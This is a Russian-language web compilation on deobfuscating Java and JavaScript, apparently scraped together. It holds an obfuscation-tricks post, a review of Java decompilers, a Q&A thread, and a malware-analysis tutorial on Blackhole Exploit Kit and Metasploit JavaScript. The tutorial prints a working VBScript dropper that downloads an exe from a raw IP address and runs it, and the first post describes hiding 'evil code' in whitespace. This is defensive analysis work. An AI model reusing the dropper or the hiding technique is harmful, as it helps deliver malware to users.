как деобфусцировать код java
Обфускация JavaScript
В статье собраны всем известные методы и предельно извращенные. Эту статью я решил написать после недавнего прочтения поста в блоге Badass JavaScript и решил её дополнить своими находками.
Первый способ
Он всем известен — обфускация минимизаторами такими как JS Packer, JSmin, YUI Compressor, Closure compiler или можно просто пугуглить «JavaScript Obfuscator» и найдется ещё сто штук разных обфускаторов.
Они превращают существующий код
В какой-то такой вид:
Но ничего не стоит его восстановить с помощью jsbeautifier.org либо просто убрать eval и получить исходный код, многое потеряем, но смысл кода восстановим. Ну и с первого взгляда мы видим, что перед нами JavaScript.
Все это были цветочки под катом жесткие методы обфускации.
Способ второй
Изменение кода до неузнаваемости, который превратит наш мизерный скрипт:
alert(0)
Или вот в такой (код может не работать ибо хабрапарсер):
゚ω゚ノ= /`m´)ノ
Тут с первого раза и не скажешь, что перед нами работающий JavaScript.
Тулза делающая код вида один, код вида два. Vladson нашел ещё одну тулзу jjencode
Объяснение некоторых моментов способа два
Таким образом _/_ = 3/3 = 1
Таким образом первая строка станет ($ = [] [«s» + «o»+ «r»+ «t» ] )()
($=[][«sort»])()
Идем дельше
[__[_/_]+__[_+
Строка превращается…
[__[_/_]+__[_+
Превращается в
[ «a» + «l» + «e» + «r» + «t» ](1)
В конце мы получаем ($=[][«sort»])()[«alert»](1)
Разобьём по частям
a = [] // Создает массив
b = a[«sort»] // Получает ссылку на метод sort
c = b() // Выполяет метод вне контекста массива для получения ссылки на window
d = c[«alert»] // Получает ссылку на window.alert
d(1) // Выполняет window.alert с аргументом 1
Это, конечно, искусственный пример и никакой из обфускаторов так не сможет.
Способ третий
Первый способ делал код похожим на JavaScript, второй совершенно не похожим, а третий сделает код вообще невидимым.
Готовых решений не видел, концепт, подсмотренный с одного из видео JS конференций.
Код будет состоять из двух частей: видимая честь — можно использовать что-нибудь описанное выше для её обфускации и невидимая часть.
Если с видимой все ясно, то секрет невидимой вот в чем: Имеющийся «плохой код» (иначе зачем его прятать) мы пропускаем через наш обфускатор-изчезатор, который превращает видимый скрипт в невидимый т.е. в строку состоящую из знаков табуляции (бит 1) и пробелов (бит 0).
В итоге мы получим в 8 раз больше кода чем имели. Видимая часть будет декодировать невидимую часть и её выполнять: декодирует биты в число, а число переделает в символ String.fromCharCode() ну а дальше eval
В конце получается что-то такое (невидимую часть не обязательно скрывать в элементе)
decodeAndEval(document.getElementById(«evilCode»).innerHTML);
Буду рад ответить на ваши вопросы и увидеть способы обфускации известные вам.
PS Представленный код может не работать, ибо хабрапарсер©, ссылки на тулзы имеются — в случае чего сделайте свой код.
UPD В комментариях ещё несколько раз писали про способ обфускации в png подробнее
Декомпиляция Java приложений
Декомпиляция — процесс воссоздания исходного кода декомпилятором
Недавно я задался вопросом: Какой декомпилятор лучше?
Начал мучить Google, экспериментировать. В итоге нашел отличное решение. Как декомпильнуть любую программу и получить рабочие «исходники»? Об этом в сабже.
Краткий обзор популярных декомпиляторов
Mocha
Mocha (автор — Hanpeter van Vliet)— это, вероятно, один из первых выпущенных декомпиляторов Java. Предоставляет консольный пользовательский интерфейс. Его релиз состоялся в 1996-ом году, ещё до того, как появился Java Development Kit версии 1.1
JAva Decompiler
DJ Java Decompiler
DJ Java Decompiler (автор — Atanas Neshkov) — долгое время вопреки названию являлся лишь графической оболочкой для предыдущего декомпилятора, позволявшей легко и удобно выбрать аргументы командной строки для вызова JAD. В текущей версии добавлена поддержка аннотаций, но декомпилятор стал условно-бесплатным (необходима покупка после 10 пробных использований).
JD-Core
Fernflower
Мой выбор
Fernflower будет развиваться в сторону деобфускатора
…
Специальных функций деобфускации Fernflower сейчас не содержит, они будут подключаться в дальнейшем отдельными модулями
Не хватает еще модуля переименования
ProGuardDeobfuscator — небольшая модификация программы ProGuard, превращающая ее в квази-деобфускатор. В процессе обработки короткие обфусцированные имена пакетов, классов, полей и методов заменяются на более осмысленные и уникальные в пределах Jar файла.
Скачать исходники и сам деобфускатор: projectd8.org/Programs/Java/PGD
Инструменты все есть, но лично я, для облегчения воссоздания сорцов использую так же любимую Netbeans IDE — очень сильно помогает своими подсказками, особенно когда классов много.
Спасибо за внимание!
Ссылки
UPD:
Извиняюсь, в offline версии Fernflower присутствует модуль переименований и уйма других штук — Readme
есть ли инструмент для деобфускации Java запутанных кодов?
коды извлекаются из скомпилированного класса, но они запутаны и не читаются.
6 ответов
вы пытались сделать код менее неясным с помощью Java Deobfuscator (он же JDO), своего рода умный декомпилятор?
В настоящее время JDO делает следующее:
В настоящее время JDO не делает следующие (но это может однажды)
первым шагом было бы узнать, с помощью какого инструмента он был запутан. Может быть, уже есть» деобфускатор » для конкретного обфускатора.
с другой стороны, вы также можете просто запустить IDE и использовать его возможности рефакторинга. Переименуйте имена классов, методов и переменных во что-то чувствительное. Используйте свои способности человеческого логического мышления, чтобы понять, что код на самом деле представляет и назвать их чувствительно. И картина будет медленно, но верно расти.
не gravedig, но я написал инструмент, который работает на большинстве коммерческих обфускаторов
Я Java Deobfuscator (он же JDO) но есть несколько ошибок. Он не может работать с именами файлов с учетом регистра. Поэтому я изменил источник и загрузил патч для этого в sourceforge. патч, скачать
скорее всего, только человеческая сила ума, чтобы понять это. Получите лучший декомпилятор и поразмышляйте над его выходом.
может быть, он будет работать на Unix / Linux / MacOS?
Если это так, вы можете переместить один шаг своего процесса на виртуальную машину, где вы распаковываете код, прежде чем переименовывать слишком длинные имена. Как долго ограничение имени файла в Windows?
Ручная деобфускация JavaScript
В данной статье будут рассмотрены понятия и методы, связанные с обфускацией JS. Здесь также будет представлен ручной подход, который помогает обращать продвинутые приемы обфусцирования, в том числе используемые в самых свежих эксплоитах.
Введение
Обфускация JavaScript в течение уже нескольких лет используется для обхода антивирусных сканеров. С ростом числа эксплоитов для браузера большее внимание стало уделяться обнаружению вредоносного JavaScript, использующегося в веб-страницах. Это побудило атакующих подвергать свой код обфускации.
В данной статье будут рассмотрены понятия и методы, связанные с обфускацией JS. Здесь также будет представлен ручной подход, который помогает обращать продвинутые приемы обфусцирования, в том числе используемые в самых свежих эксплоитах.
Цель документа – показать преимущества ручного подхода перед автоматизированными JS-распаковщиками.
Мы также введем читателя в возможности обфусцирования, имеющиеся во фреймворке Метасплоит.
Причины применения обфускации JavaScript
Главная причина – обфусцировать исходный код таким образом, чтобы его почти невозможно было деобфусцировать и подвергнуть обратной инженерии. Это помогает предотвратить кражу интеллектуальной собственности.
Существует несколько инструментов для обфускации, которые также сжимают код и уменьшают время, требуемое для загрузки кода в браузер.
Их можно использовать, чтобы избавиться от неиспользуемого или повторяющегося кода.
С точки зрения безопасности обфусцированный JavaScript может избегать обнаружения антивирусами. Он также усложняет процесс понимания кода.
Сравнение минификаторов и обфускаторов JavaScript
Существует множество доступных по сети инструментов, которые позволяют уменьшить читаемость JavaScript-кода. Однако, минификаторы созданы, чтобы облегчать код путем удаления неиспользуемых частей и замены символов, что позволяет уменьшить время загрузки этого кода браузером.
Простым примером минификатора является JSMin Дугласа Крокфорда. Данный инструмент уменьшает размер JS-кода почти в два раза путем следующих операций:
Как можно видеть, JSMin не сосредоточен на кодировании строк, замене имен локальных переменных или других методах, используемых обфускаторами.
Методы обфускации JavaScript
Существует несколько методов, используемых для обфускации фрагментов написанного на JavaScript кода. Чтобы лучше вникнуть в данный вопрос, я приведу несколько примеров обфусцированного JavaScript-кода.
Используемые приемы могут варьироваться от простых и распространенных, с которыми могут справляться онлайновые JS-распаковщики вроде jsunpack.jeek.org, до действительно сложных, которые выходят за пределы возможностей онлайновых JS-распаковщиков.
Вместо того, чтобы задокументировать все эти приемы скопом, я опишу их в трех разных разделах с нарастанием сложности.
Основы обфускации JavaScript
В первом разделе мы обсудим JavaScript, обфусцированный очень просто. Считайте это разминкой перед пониманием основных идей, используемых для обфускации JS. Прошу отметить, что, как уже утверждалось, представленный здесь обфусцированный JavaScript легко распаковать с помощью онлайновых JS-распаковщиков, однако способность проводить деобфускацию данного кода в ручном режиме поможет нам в понимании более продвинутых методов.
Итак, давайте начнем.
Вначале обфусцированный код выглядит так, как показано ниже:
Он нечитаем. Поэтому мы поместим символ новой строки после каждой точки с запятой и выполним небольшое форматирование, чтобы он стал более читаем:
Теперь сделаем несколько наблюдений, чтобы понять методы, используемые злоумышленником для обфускации кода:
Прием 1: объявление множества неиспользуемых переменных.
var tZsuw;
var QpUL=64;
var Jzgxgh=98;
Эти переменные нужны лишь для того, чтобы создать путаницу. Их можно смело удалить.
Прием 2: вызов неопределенных функций внутри условных операторов IF с заведомо ложным условием.
if(‘ZfoJC’==’JlEhQJO’) // False Condition
mxvGejD(); // This function is never defined and used.
Подобные операторы IF также могут быть удалены.
Прием 3: использование длинных имен переменных вроде «NMeZD» или «HxIyzd» тоже нужно лишь для затруднения анализа.
Чтобы сделать код нечитаемым, все вышеописанные приемы используются неоднократно.
После удаления из нашего кода всего лишнего мы получим более читабельный код, который выглядит примерно так:
Закодированные имена JavaScript-функций
Данный код использует различные функции JavaScript для декодирования закодированных строк. Имена этих функций также обфусцируются. Я использую веб-консоль Firefox, чтобы быстро декодировать имена этих функций.
Переменная NMeZD хранит имя функции. Чтобы декодировать имя данной функции, в коде используется функция replace. Этот процесс можно автоматизировать через веб-консоль Firefox, как показано ниже:
Теперь мы знаем, что переменная хранит строку «replace».
Она в свою очередь используется для получения имени другой функции:
Мы заменяем «NMeZD» на «replace» и снова вычисляем значение с помощью веб-консоли:
Итак, мы получили строку с именем следующей функции – «fromCharCode». Таким образом мы можем вычислить все имена функций, используемых в коде. Как только это будет сделано, код станет выглядеть так:
Получение глобального объекта
Глобальным объектом для браузера является окно (window). Данное действие также известно как утечка окна. Чтобы получить ссылку на окно, используется следующий фрагмент кода:
Эта функция не делает ничего кроме помещения ссылки на глобальный объект (окно) в переменную с именем «KsjQS».
Получение ссылки на функцию String
В данном коде использовался один изящный прием. Опять же, его проще понять с помощью веб-консоли:
Закодированная строка хранится в переменной pGIL.
var
pGIL=’b1bcb0c2bab2bbc17bb9bcb0aec1b6bcbb8a74b5c1c1bd877c7cbcc6bfbcc1b67bbfc27
c74′; // Length of this string is 74
Главной целью кода является декодирование этой строки и ее запуск. Мы увидим, как это происходит.
Для этого используется следующий цикл For:
Мы можем сделать код гораздо более читаемым путем замены всех имен переменных на соответствующие им строки с именами функций. Наряду с тем, я также заменю имена переменных «mJvk», «rVCkG» и «mSIAd» на «a», «b» и «c» соответственно.
По окончании этих преобразований код будет выглядеть следующим образом:
Он пробегает символы закодированной строки посредством цикла FOR и декодирует их с помощью метода String.fromCharCode.
В результате декодированная строка имеет такое значение: document.location= http://oyroti.ru/
Этот код используется для перенаправления браузера на сайт http://oyroti.ru/
Blackhole Exploit Kit
Теперь, понимая простые принципы, давайте копнем чуть поглубже в сложные коды, которые с легкостью обходят антивирусы и не поддаются онлайновым JS-распаковщикам. У нас остается лишь один выход – распаковывать их вручную.
В качестве примера я взял обфусцированный JavaScript, используемый в Blackhole Exploit kit. Этот код использует несколько новых хороших недокументированных приемов.
Для начала я перечислю некоторые используемые приемы:
Дальше мы рассмотрим более подробно, как наш код использует данный прием.
Вот исходный обфусцированный код:
После беглого взгляда на весь код мы обнаружим, что обфусцированный JS расположен на HTML-странице сразу после тега
Отсюда мы и начнем.
Ранее упомянутые приемы будет проще понять с помощью иллюстрирующих их фрагментов рассматриваемого кода:
Прием 1: достаточно просто взглянуть на код – и его применение станет очевидным 🙂
Разбиение кода на строки сделает его более читаемым. Я также добавил необходимые комментарии.
try
<
Math.lol(); /* lol() is an invalid library undefined in Math Class */
>
catch(qwgw) /* The code above throws an exception which triggers the code in catch()
block */
<
fr=»f»+»r»+»o»+»m»+»C»; /*
Basic String Concatenation, «fromC» is the result
>
Как и в случае с большинством обфусцированных JS-скриптов, один прием применяется несколько раз. Так что, мы вычистим оставшийся код, следуя тем же путем.
Сделаем его более читаемым:
try
<
Boolean(false)[p].google; /* invalid code, throws an exception which triggers code in catch()
block */
>
catch(vb)
<
e=zz[‘e’+’v’+’al’]; /* Basic String Concatenation */
fr+=(fr)?»ha»+»rCode»:»»;
ch+=(fr)?»odeAt»:»»;
r=»replace»;
>
fr+=(fr)?»ha»+»rCode»:»»;
Поскольку fr уже было присвоено значение «fromC», условие в тернарной операции эквивалентно true. Значит, результатом данной операции будет то, что предшествует символу двоеточия («:»).
fr = fr + «ha» + «rCode»
fr = «fromCharCode»
На самом деле данный код сокращается, учитывая вышеописанный прием, до следующего:
Это выражение вернет массив всех элементов div, присутствующих на HTML-странице. Коллекция тегов
В нашем случае на веб-странице присутствует лишь один тег
Так что, dd[«length»] = 1
Цикл for сокращается до
Этот цикл проходит только одну итерацию.
dd[0][«innerHTML][«substr»](3) удалит первые три символа из HTML-кода, находящегося между тегами
Это свидетельствует о том, что наш код состоит из корректного кода перемежающегося строками некорректных символов HTML. На этапе декодирования он от этих строк избавляется.
В конце данного цикла весь обфусцированный код с вырезанными первыми тремя символами хранится в строковой переменной z.
Применение данного приема является причиной, по которой онлайновые JS-распаковщики не могут деобфусцировать код.
Мы проанализируем цикл FOR, используемый для декодирования обфусцированного содержимого тега
Это сокращается до
После прочтения кода цикла FOR становится очевидным, что он декодирует обфусцированное содержимое путем манипуляции с ASCII-кодами.
Вот в какой последовательности происходит декодирование:
Теперь, когда мы понимаем, что делает данный цикл FOR, мы можем продолжить декодирование. Однако, учитывая размер обфусцированного кода, делать это вручную будет неэффективно.
Вместо этого я создам новый HTML-документ, используя только нужный код из исходной вредоносной веб-страницы.
Нашей целью здесь будет увидеть, во что декодируется обфусцированный кусок кода.
Вот код новой страницы:
Сохраните его как HTML-страницу и откройте ее в браузере. Деобфусцированный код будет показан во всплывающем окне.
Скопируйте и вставьте содержимое этого окна в другой файл не в HTML-формате.
Тут мы сталкиваемся с еще одним слоем обфускации. Чтобы снять и его, могут быть применены изученные ранее приемы.
Однако, нам опять нужно рассмотреть весь код целиком.
Использование разных типов кодирования:
Вот некоторые примеры: h, №, %u003f.
Мы можем заменить эти последовательности, преобразовав в соответствующие символы юникода, но сделаем это позднее.
Множество специальных символов вроде «@», «>», «!» располагаются особым образом, однако значение их неясно.
Если мы продолжим отслеживать код до конца, то найдем набор используемых функций замены (replace).
В целом обфусцированный код содержит цепочку функций замены, добавленных в конец, как показано ниже:
Давайте вычислим данные выражения одно за другим:
Теперь должно быть ясно, почему я не заменил «№» на соответствующий символ на шаге 1: это дало бы нам другой результат.
Применив означенные выше функции ко всему обфусцированному коду, мы получим:
После непродолжительного исследования можно заключить, что данная последовательность действий записывается командой echo в VBScript-файл, располагающийся в %TEMP%\go.vbs с помощью оператора перенаправления («>>»)
Для большей ясности мы можем переписать содержимое go.vbs в таком виде:
FileName = «%TEMP%/file.exe
url=»http://69.194.192.229/q.php?f=7245d&e=5″
Set objHTTP = CreateObject(«MSXML2.XMLHTTP»)
Call objHTTP.Open(«GET», url, False)
objHTTP.Send
set oStream = createobject(«Adodb.Stream»)
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Const adSaveCreateNotExist = 1
oStream.type = adTypeBinary
oStream.open
oStream.write objHTTP.responseBody
oStream.savetofile FileName, adSaveCreateNotExist
oStream.close
set oStream = nothing
Set xml = Nothing
Set WshShell = CreateObject(«WScript.Shell»)
WshShell.Run FileName, 0, True
Set FSO = CreateObject(«Scripting.FileSystemObject»)
FSO.DeleteFile
Данный VBScript запускается командой
следующей за созданием vbs файла в конце скрипта
Что именно приводит к запуску нашего кода?
В Центре справки и поддержки Windows (Microsoft Windows Help Centre, helpctr) существует уязвимость, связанная с тем, как выполняется URL-нормализация. Эксплуатируется зарегистрированный обработчик протокола hcp://.
Это позволяет выполнить код, в нашем случае – VBScript.
Более подробно о данной уязвимости можно прочитать здесь:
CVE для данного эксплоита: CVE-2010-1885
Что делает рассмотренный VBScript?
Он загружает содержимое с URL http://69.194.192.229/q.php?f=7245d&e=5, записывает его в file.exe во временной папке системы и запускает его с помощью WshShell.
Так мы смогли увидеть, насколько хорошо обфусцированный JavaScript может скрывать настоящий функционал.
Задача по деобфускации JS от Breaking Point
Теперь, когда мы познакомились со сложно обфусцированным JavaScript, давайте взглянем на еще один, который использует несколько новых приемов.
На этот раз я возьму обфусцированный JavaScript, который давался на соревновании по деобфускации, устроенному компанией Breaking Point Systems в сентябре 2011 года.
Он использует несколько приемов. Код выглядит так:
Выше показан фрагмент обфусцированного кода. Вы можете скачать полный код здесь: http://www.breakingpointsystems.com/default/assets/File/blogresources/JavaScript-obfuscationcode.txt
Снова я перечислю используемые здесь приемы:
Строки представляются интерпретируются как числа в системе счисления с основанием 32 (далее – radix-32).
Побитовый сдвиг влево эквивалентен умножению числа на 2 в степени, равной количеству левых сдвигов.
В JavaScript функция toString() используется для преобразования числа в строку. Когда данной функции передается аргумент 32, она преобразует число из десятичной (с основанием 10) системы в radix-32.
Это можно понять на примере.
Теперь нам нужно упростить аргумент String.fromCharCode.
Вы можете использовать данный сайт, чтобы преобразовать String.fromCharCode из строки чисел в символы:
Если вы введете 0157,112,0145,114,97 в поле ввода на данном сайте, вы получите на выходе непонятный набор символов:
Аналогично, попробуйте ввести 0x6d,0x61,0x54,0150,76,0114,0132,113,0×50,0155,114,0x72,0x46,0x53 и посмотрите на результат.
Это происходит по причине, которую я упомянул выше. Эти значения должны быть записаны в десятичном виде, а не в восьмеричном или шестнадцатеричном. В обфусцированный javascript была включена смесь из десятичных, восьмеричных и шестнадцатеричных чисел, чтобы обмануть исследователя.
Здесь и пригождается Перл-скрипт, позволяя сэкономить нам время.
0157,112,0145,114,97 = 111,112,101,114,97 = opera
0x6d,0x61,0x54,0150,76,0114,0132,113,0×50,0155,114,0x72,0x46,0x53 =
109,97,84,104,76,76,90,113,80,109,114,114,70,83 = maThLLZqPmrrFS
Замечание: если вы не хотите использовать Перл-скрипт для выполнения преобразования кодов символов, вы можете использовать JS-интерпретатор веб-консоли, чтобы получить требуемые значения.
Теперь наше условное выражение сокращается до:
Важно понять эту часть часть кода. Переменная uUHIjMJVFJET будет хранить значение user-agent (в нижнем регистре) браузера жертвы. Мы проверяем, использует ли жертва браузер Opera. Если жертва использует данный браузер, то мы возвращаем случайную предварительно сгенерированную парольную фразу, «maThLLZqPmrrFS».
Эта парольная фраза будет использована для декодирования закодированной XOR-ом полезной нагрузки, которую мы увидим позже.
В коде встречаются несколько операторов if, которые проверяют соответствие user-agent различным типам браузеров и, в зависимости от результата проверки, возвращают соответствующую парольную фразу.
Операция сложения заменяется специальными символами.
Если вы предварите число N символом ‘
Рассмотрим, например, такое выражение «if»:
Сначала мы выполним перевод десятичных чисел в radix-32, чтобы получить соответствующие строки.
Сосредоточимся на этом фрагменте:
Зная данные соотношения, мы можем сократить показанное выше условное выражение до:
После подстановки значений переменных получим:
В коде многократно встречалась конструкция вида (function () < return x >)(). Надеюсь, для вас очевидно, что она всего лишь возвращает значение x.
Так что, данное выражение уменьшается до:
Данный блок кода снова выглядит похожим на рассмотренное ранее «if»-выражение. Он возвращает случайную парольную фразу, если жертва использует браузер Chrome.
Теперь, когда я рассмотрел приемы, использованные в данном обфусцированном JavaScript, мы можем видеть результат их применения. Мы можем деобфусцировать значительную часть кода. Вот что мы получим (я также добавил необходимые комментарии):
На основании написанного выше мы запишем логику алгоритма:
Данная функция определяет user-agent браузера жертвы. Она проверяет значение user-agent и, в зависимости от типа браузера, возвращает случайно сгенерированный пароль.
Вызов главной функции в данном обфусцированном JavaScript находится в нижней его части:
Это декодирующая функция, pjSkrbvs(FSzQjtHkbuMDLW, pOtdvHbBav)
Функция принимает на входе два аргумента.
FSzQjtHkbuMDLW: JavaScript, закодированный с помощью XOR.
pOtdvHbBav: случайная парольная фраза, которая используется для декодирования.
Сначала парольная фраза расширяется до длины закодированного JavaScript. Таблица ASCII-кодов содержится в массиве UMa, который понадобится позднее в процессе декодирования.
XOR-декодирование происходит в данном цикле FOR.
Цикл выполняет операцию XOR между ASCII-значением каждого символа из закодированной полезной начинки JavaScript и соответствующим символом случайной парольной фразы. Результат данной операции затем преобразуется из ASCII-кода в символ с помощью функции String.fromCharCode().
В конце работы данной функции переменная VfoamYteBIveYp содержит полностью декодированный JavaScript, который передается в вызывающую функцию eval().
Я поступлю так же, как и в предыдущем разделе. Чтобы раскодировать полезную нагрузку, я использую определенные блоки исходного обфусцированного кода, которые помогут при декодировании. В данном случае я сформирую новый HTML-файл, показанный ниже:
Поскольку я использую Firefox, я взял парольную фразу «loMAYcXfkUsG», соответствующую значению user-agent для Firefox.
Как только я открою данную HTML-страницу в Firefox, я получу на выходе декодированный код. Он содержит еще один уровень обфускации.
Здесь, однако, использованы те же приемы, что и прежде, поэтому я опущу подробности.
Применив еще раз те же методы, мы получим деобфусцированный JavaScript, показанный ниже:
Данный JavaScript эксплуатирует уязвимость Remote Heap Buffer Overflow (удаленное переполнение буфера кучи) в браузере жертвы.
CVE данной уязвимости: CVE-2010-3765
Приведенный выше код передается функции eval(), которая запустит его в контексте браузера.
Обфускация JS во фреймворке Метасплоит
Фреймворк Метасплоит содержит богатую библиотеку эксплоитов. Касательно обфускации JavaScript в данном фреймворке нас будет интересовать библиотека браузерных эксплоитов.
Большинство браузерных уязвимостей эксплуатируются через JavaScript. В порядке вещей видеть JavaScript, используемый для создания распыляемой по куче полезной нагрузки, состоящей из шелл-кода и последовательности NOP-ов.
JavaScript также используется для эксплуатации уязвимости, позволяющей распылить данный шелл-код по пространству кучи.
Поскольку JS используется в качестве вектора атаки в браузерных эксплоитах, возникает необходимость обнаружения вредоносного JS-кода в веб-страницах. Такой способностью обладают антивирусные сканеры.
Тем не менее, возможности антивирусного ПО ограничены, как и возможности онлайновых JS-распаковщиков. Это было показано во втором и третьем разделе.
Мы рассмотрим поддержку обфускации JS в Метасплоит.
Сначала давайте посмотрим количество браузерных эксплоитов в последней версии фреймворка на момент написания данной статьи.
Итак, всего 162 модуля с браузерными эксплоитами, из которых 147 используют JavaScript для эксплуатации уязвимости в браузере или для манипуляции с памятью браузера.
Теперь давайте возьмем один из браузерных эксплоитов в качестве примера, чтобы понять, какие возможности по обфускации JS нам доступны.
Я рассмотрю следующий модуль: ms11_003_ie_css_import.
Он эксплуатирует уязвимость «повреждение памяти» в HTML-движке MS Internet Explorer. Эта уязвимость относится к классу «использование после освобождения», то есть, возникает, когда осуществляется доступ к ранее удаленному объекту C++. Специфическим для данного эксплоита требованием является наличие в веб-странице рекурсивных CSS-импортов.
Я покажу фрагменты модуля, относящиеся к JavaScript и то, как JavaScript используется для построения распыляемого по куче кода, а позднее обфусцируется.
Модуль эксплоита предоставляет опцию обфускации JavaScript.
В данном фрагменте JavaScript используется для манипуляции памятью IE.
#(special_sauce> относится к полезной нагрузке, сформированной скриптом.
Перед выделенным блоком мы можем видеть, что имя js_function генерируется случайно с помощью функции rand_text_alpha.
Результирующий JavaScript хранится в метке-заполнителе custom_js.
Данный фрагмент использует библиотеку ::Rex::Exploitation::ObfuscateJS.new для обфускации сформированного ранее JavaScript, если опции OBFUSCATE в модуле эксплоита было присвоено значение True.
Результирующий обфусцированный JS хранится в variable js.
Итоговая вредоносная веб-страница конструируется с помощью сформированного ранее обфусцированного JavaScript.
#
#
Вот какие значения имеют опции при загрузке эксплоита в консоль фреймворка, msfconsole. Я выделил опцию, отвечающую за обфускацию. По умолчанию она имеет значение true.
Заключение
После прочтения и понимания подхода, представленного в данном документе, вы, надеюсь, сможете бороться с существующими методами обфускации, использующимися во вредоносных JS, а также сможете расширять этот подход для борьбы с новыми приемами.